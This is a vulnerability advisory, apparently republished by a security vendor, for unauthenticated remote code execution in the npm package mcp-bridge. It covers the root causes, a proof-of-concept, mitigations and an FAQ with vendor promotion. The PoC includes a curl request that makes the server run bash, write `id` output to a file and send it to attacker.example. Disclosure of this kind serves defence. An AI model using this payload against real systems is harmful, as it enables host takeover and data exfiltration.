GHSA-WVR4-3WQ4-GPC5

When AUTH_TOKEN and ACCESS_TOKEN environment variables are not set (which is the default out-of-the-box configuration) the /bridge HTTP endpoint is completely unauthenticated. Any network-accessible caller can POST a request with an attacker-controlled serverPath and args payload, causing the server to spawn an arbitrary OS process as the user running mcp-bridge. This results in full remote code execution on the host without any credentials.

Details

Root cause 1 - Authentication not enforced when token is absent
src/config/config.ts line 161 sets authToken to an empty string when neither environment variable is configured:

authToken: process.env.AUTH_TOKEN || process.env.ACCESS_TOKEN || '',

The auth middleware in src/server/http-server.ts lines 118–141 wraps all enforcement in if (this.accessToken). Because an empty string is falsy in JavaScript, the entire block is skipped and next() is called unconditionally for every request:

if (this.accessToken) {  
// ... token validation - never reached when token is ''}
next(); // always reached in default config

The only consequence of a missing token is a log warning (line 42–43). The server starts and serves requests normally.

Root cause 2 - /bridge spawns arbitrary processes from request body input
src/server/http-server.ts lines 194 and 218/227 extract serverPath and args directly from the untrusted JSON body and pass them to MCPClientManager.createClient() without any validation:

const { serverPath, method, params, args, env } = req.body;
// ...
clientId = await this.mcpClient.createClient(serverPath, args, env);

src/client/mcp-client-manager.ts lines 68–75 fall through to StdioClientTransport for any value that is not a valid HTTP/WS URL, using serverPath as the executable command verbatim:

transport = new StdioClientTransport({  
command: serverPath,  
args: args || [],  
env: { ...getDefaultEnvironment(), ...(env || {}) }
});

There is no allow-list, no path restriction, and no sanitization. Any binary reachable from the server's PATH (including bash, sh, python, node, etc) can be invoked with arbitrary arguments.

Exposure surface

Express's app.listen(port) binds to all interfaces (0.0.0.0) by default, making the service immediately reachable over the network on any cloud VM or container. The project additionally ships an explicit start:tunnel npm script that uses ngrok to publish the server to a public internet URL, maximising the attack surface.

PoC

Start the server with no auth token configured (the default):

npm run build && npm start
# No AUTH_TOKEN set, server starts on port 3000, all interfaces

Send a crafted request from any machine that can reach port 3000:

curl -X POST http://<host>:3000/bridge \  
-H 'Content-Type: application/json' \  
-d '{    
"serverPath": "bash",    
"args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"],    
"method": "tools/list",    
"params": {}  
}'

The server spawns bash as the mcp-bridge process user. The command executes, the file is written, and the HTTP response will contain the error from the MCP handshake failing (but the payload has already run).
For internet-exposed instances (tunnel mode), replace with the ngrok public URL.

Any unauthenticated attacker with network access to the server can execute arbitrary OS commands as the user running mcp-bridge. This permits full host compromise including: credential and secret theft from the environment, installation of persistent backdoors, lateral movement to internal systems, and complete data destruction.
Deployments most at risk are:

Kodem intelligence

1. Treat a missing AUTH_TOKEN as a fatal startup error. Replace the warning at http-server.ts:41–43 with a thrown exception so the server refuses to start without a configured secret.
2. Invert the auth guard logic. Deny all requests when authToken is empty rather than allowing them.

1. What is GHSA-WVR4-3WQ4-GPC5? GHSA-WVR4-3WQ4-GPC5 is a critical-severity missing authentication for critical function vulnerability in mcp-bridge (npm), affecting versions <= 2.0.0. No fixed version is listed yet. A critical operation is accessible without requiring any authentication.
2. How severe is GHSA-WVR4-3WQ4-GPC5? GHSA-WVR4-3WQ4-GPC5 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mcp-bridge are affected by GHSA-WVR4-3WQ4-GPC5? mcp-bridge (npm) versions <= 2.0.0 is affected.
4. Is there a fix for GHSA-WVR4-3WQ4-GPC5? No fixed version is listed for GHSA-WVR4-3WQ4-GPC5 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-WVR4-3WQ4-GPC5 exploitable, and should I be worried? Whether GHSA-WVR4-3WQ4-GPC5 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-WVR4-3WQ4-GPC5 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-WVR4-3WQ4-GPC5? No fixed version is listed yet. In the interim: Keep the dependency up to date. Add authentication gating to all sensitive endpoints.